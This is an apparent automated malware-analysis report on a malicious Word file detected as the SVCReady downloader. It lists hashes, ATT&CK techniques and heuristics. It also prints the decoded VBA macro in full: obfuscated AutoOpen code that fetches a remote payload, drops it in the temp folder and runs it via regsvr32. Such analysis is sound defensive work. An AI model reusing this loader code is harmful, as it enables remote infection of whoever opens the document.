Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 0a3b4eafcfe8686e…

MALICIOUS

Office (OOXML)

113.8 KB Created: 2020-07-21 08:31:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: 8ae09d8e16bda19fbcd2ff5d6773e92e SHA-1: 2eaf46e8279a1f21c34b756864280ba64fb8454b SHA-256: 0a3b4eafcfe8686eb400862cfd59aa2ee5258ef6834c873efca7a17edae12586
210 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an AutoOpen subroutine, which is a common technique for executing malicious code upon opening the document. The script attempts to download and execute a second-stage payload by constructing a temporary file path and using WshShell.exec. The presence of the 'Doc.Downloader.SVCReady' ClamAV detection further supports its role as a downloader.

Heuristics 7

  • ClamAV: Doc.Downloader.SVCReady-8f5af0a5f0da7070-9951542-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.SVCReady-8f5af0a5f0da7070-9951542-0
  • External relationship high OOXML_EXTERNAL_REL
    External target in word/_rels/document.xml.rels: file:///C:\Framework\rels\builds\pack2\us.jpg
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2014/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexOOXML external relationship
    • http://schemas.openxmlformats.org/markup-compatibility/2006OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/inkOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2017/model3dOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/mathOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2012/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordml/cexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2016/wordml/cidOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2015/wordml/symexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkOOXML external relationship
    • http://schemas.microsoft.com/office/word/2006/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeOOXML external relationship

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3557 bytes
SHA-256: 53bce77bd00b0fd5c1f6594be533e89f56a4b76cc5df51b677786f453f0489d8
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "e1256506"
Function b51c3cec()
b51c3cec = ActiveWindow.StyleAreaWidth
End Function
Function ebeaa818(de325786 As Long) As Long
Dim e513dbb1 As Long
For e513dbb1 = 42 To 65 Step 8
de325786 = de325786 + e513dbb1
Next e513dbb1
ebeaa818 = de325786
End Function
Sub AutoOpen()
Dim b9dc1e2f As New ff7bc99b
aaa = b73d8076(bbc1b47c)
e83c60ef = b9dc1e2f.ed9732db(aaa, "")
d91a26b7 a9c0c195, e83c60ef
Dim a8a0e585 As New WshShell
Call a8a0e585.exec(a1fec347 & " " & a9c0c195)
End Sub

Attribute VB_Name = "a69da1a7"
Function cb8a4d59() As Long
Dim b5d1d20c As Integer
Dim d41b6046 As Integer
d41b6046 = 145
For b5d1d20c = 45 To 87 Step 3
d41b6046 = d41b6046 + b5d1d20c
Next b5d1d20c
cb8a4d59 = d41b6046
End Function
Function cd357278()
cd357278 = ActiveWindow.DisplayVerticalRuler
End Function
Sub d91a26b7(fde44f79, e4296865)
Dim a3d1bf38
a3d1bf38 = FreeFile
Open fde44f79 For Output As #a3d1bf38
Print #a3d1bf38, a9e1d86c(e4296865)
Close #a3d1bf38
End Sub
Function a9c0c195()
a9c0c195 = Environ("tmp") & "\index.jpg"
End Function
Function d71df927()
d71df927 = Application.ActiveDocument.ActiveThemeDisplayName
End Function
Function f5a033dc()
f5a033dc = ActiveWindow.SplitVertical
End Function
Function b73d8076(d10b81e2)
For e45c3aa8 = 1 To Len(d10b81e2) Step 3
edd1b528 = edd1b528 & Mid(d10b81e2, e45c3aa8, 1)
Next
b73d8076 = edd1b528
End Function
Function e8f5cfec()
e8f5cfec = ActiveWindow.Thumbnails
End Function
Function cf6adbe1()
cf6adbe1 = ActiveWindow.DisplayVerticalRuler
End Function
Sub eece2a45()
End Sub
Function d4f66cce()
d4f66cce = ActiveWindow.WindowNumber
End Function
Function acbf46ec()
acbf46ec = -14541
End Function
Function a9e1d86c(e4296865)
a9e1d86c = StrConv(e4296865, 64)
End Function
Function eed69183()
eed69183 = 194
End Function
Function f44bb3ea()
f44bb3ea = "Squeaky uncredited ascertaining bloodstone satinwood"
End Function
Function bbc1b47c()
bbc1b47c = ActiveDocument.Shapes(1).AlternativeText
End Function
Function a4863915()
a4863915 = ActiveWindow.DocumentMap
End Function
Function ba66a1e3()
ba66a1e3 = Application.ActiveDocument.CurrentRsid
End Function
Function a1fec347()
a1fec347 = b73d8076("r90ed5g83s37v78r2b355236")
End Function

Attribute VB_Name = "ff7bc99b"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function da9e2a57()
da9e2a57 = Application.ActiveDocument.ClickAndTypeParagraphStyle
End Function
Function a84942d3(b6232cfe As Long) As Long
Dim bb9d98f4 As Integer
For bb9d98f4 = 43 To 63 Step 4
b6232cfe = b6232cfe - bb9d98f4
Next bb9d98f4
a84942d3 = b6232cfe
End Function
Function ed9732db(d3395e4b, c49c3d3e)
Dim eac21e99 As Object
Set eac21e99 = New MSXML2.XMLHTTP60
Call eac21e99.Open("GET", d3395e4b, False)
eac21e99.Send
ed9732db = eac21e99.responsebody
End Function
Function b0d9230b()
b0d9230b = 21150.901940239
End Function
Function a73a96a6()
a73a96a6 = ActiveWindow.HorizontalPercentScrolled
End Function
Function ecf57183(d4214a43)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 25088 bytes
SHA-256: 46b036ae953c4d889bb3c5d45974d9193cbb753104b8386b263de051ba5fda08